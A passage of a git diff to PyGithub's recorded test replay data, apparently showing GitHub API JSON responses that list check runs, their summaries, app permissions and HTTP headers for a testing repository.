the list of annotations.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700/annotations"},"name":"annotations","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296027873,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI3ODcz","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296027873","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:30:29Z","completed_at":"2020-10-20T11:30:50Z","output":{"title":"Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":"You may have some misspelled words on lines 2 and 4.","annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873/annotations"},"name":"completed_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296028076,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI4MDc2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"50","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296028076","details_url":"https://www.example.com","status":"completed","conclusion":"success","started_at":"2020-09-04T01:14:52Z","completed_at":"2020-10-23T03:05:06Z","output":{"title":"PyGithub Check Run Test","summary":"Test summary","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076/annotations"},"name":"basic_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296029378,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5Mzc4","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"101","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029378","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"failure","started_at":"2020-10-20T10:14:51Z","completed_at":"2020-10-23T03:05:28Z","output":{"title":"Check run for testing failure","summary":"There is 1 whitespace error.","text":"You may have a whitespace error in the file 'test.py'","annotations_count":1,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378/annotations"},"name":"fail_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296029552,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5NTUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"100","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029552","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T14:24:31Z","completed_at":"2020-10-23T03:05:31Z","output":{"title":"Check run for testing edit method","summary":"This is the summary of editing check run as completed.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552/annotations"},"name":"edit_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]}]} - diff --git a/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByStatus.txt b/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByStatus.txt index 3d9cadd937..d1a3113645 100644 --- a/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByStatus.txt +++ b/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByStatus.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Mar 2021 05:13:23 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f7199f8d9f24ca28f64928f9a427e081d274525a1255f9bd17788e003394ff50"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1616479490'), ('X-RateLimit-Used', '13'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CFF8:2781:A73B3E:B558E4:605978F3')] {"total_count":8,"check_runs":[{"id":1278952206,"node_id":"MDg6Q2hlY2tSdW4xMjc4OTUyMjA2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1278952206","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T04:22:04Z","completed_at":"2020-10-20T04:22:04Z","output":{"title":"Testing","summary":"This is a test for output dictionary.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206/annotations"},"name":"Testing","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]},{"id":1279259090,"node_id":"MDg6Q2hlY2tSdW4xMjc5MjU5MDkw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"49","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1279259090","details_url":"https://www.example-url.com","status":"completed","conclusion":"success","started_at":"2020-10-20T01:10:20Z","completed_at":"2020-10-20T02:20:30Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090/annotations"},"name":"update_all_params","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]},{"id":1280450752,"node_id":"MDg6Q2hlY2tSdW4xMjgwNDUwNzUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280450752","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1280450752","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T16:04:20Z","completed_at":"2020-10-20T10:44:21Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 3 warnings, and 1 notices.","text":null,"annotations_count":3,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280450752/annotations"},"name":"mighty_readme","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]},{"id":1280914700,"node_id":"MDg6Q2hlY2tSdW4xMjgwOTE0NzAw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"102","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1280914700","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:34:15Z","completed_at":"2020-10-20T12:31:28Z","output":{"title":"Check run for testing list of annotations","summary":"This is test to get the list of annotations.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700/annotations"},"name":"annotations","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]},{"id":1296027873,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI3ODcz","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296027873","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:30:29Z","completed_at":"2020-10-20T11:30:50Z","output":{"title":"Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":"You may have some misspelled words on lines 2 and 4.","annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873/annotations"},"name":"completed_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]},{"id":1296028076,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI4MDc2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"50","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296028076","details_url":"https://www.example.com","status":"completed","conclusion":"success","started_at":"2020-09-04T01:14:52Z","completed_at":"2020-10-23T03:05:06Z","output":{"title":"PyGithub Check Run Test","summary":"Test summary","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076/annotations"},"name":"basic_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]},{"id":1296029378,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5Mzc4","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"101","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029378","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"failure","started_at":"2020-10-20T10:14:51Z","completed_at":"2020-10-23T03:05:28Z","output":{"title":"Check run for testing failure","summary":"There is 1 whitespace error.","text":"You may have a whitespace error in the file 'test.py'","annotations_count":1,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378/annotations"},"name":"fail_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]},{"id":1296029552,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5NTUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"100","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029552","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T14:24:31Z","completed_at":"2020-10-23T03:05:31Z","output":{"title":"Check run for testing edit method","summary":"This is the summary of editing check run as completed.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552/annotations"},"name":"edit_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","contents":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","push","workflow_run"]},"pull_requests":[]}]} - diff --git a/tests/ReplayData/CheckSuite.testGetCheckSuitesForRef.txt b/tests/ReplayData/CheckSuite.testGetCheckSuitesForRef.txt index 27fc4c8c6e..558ceca1df 100644 --- a/tests/ReplayData/CheckSuite.testGetCheckSuitesForRef.txt +++ b/tests/ReplayData/CheckSuite.testGetCheckSuitesForRef.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Sun, 09 Aug 2020 06:33:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), 